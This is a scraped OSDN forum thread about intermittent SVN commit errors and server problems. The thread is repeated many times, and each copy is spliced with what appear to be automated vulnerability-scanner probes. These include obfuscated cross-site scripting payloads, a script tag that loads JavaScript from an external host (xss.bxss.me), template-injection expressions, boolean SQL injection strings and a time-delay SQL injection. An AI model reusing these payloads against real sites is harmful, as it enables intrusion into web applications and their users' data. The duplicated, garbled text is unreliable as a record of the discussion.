About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"><script>5fpQ(9472)</script>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1"><script>7hru(9118)</script>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScRiPt >5fpQ(9740)</ScRiPt>
555
1<ScRiPt >7hru(9290)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<W9CO3Y>JDQNI[!+!]</W9CO3Y>
dfb{{98991*97996}}xca
1<WU5PYP>NNDWM[!+!]</WU5PYP>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<script>5fpQ(9762)</script>
dfb[[${98991*97996}]]xca
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<script>5fpQ(9808)</script>9808
1<script>7hru(9817)</script>
dfb${98991*97996}::.x
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScR<ScRiPt>IpT>5fpQ(9618)</sCr<ScRiPt>IpT>
1<script>7hru(9448)</script>9448
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%37%68%72%75%28%39%35%36%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScRiPt
>5fpQ(9877)</ScRiPt>
bfg6826＜s1﹥s2ʺs3ʹhjl6826
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/-1 waitfor delay '0:0:15' --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9223></ScRiPt>
1<ScRiPt >7hru(9826)</ScRiPt>
1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9485></ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<
1
<%={{={@{#{${dfb}}%>
-1' OR 2+944-944-1=0+0+0+1 --
-1 OR 2+527-527-1=0+0+0+1 --
-1 OR 2+159-159-1=0+0+0+1
-1" OR 2+545-545-1=0+0+0+1 --
-1' OR 2+41-41-1=0+0+0+1 or 'n2P2rw8r'='
1<
555
1 derekwildstar への返信
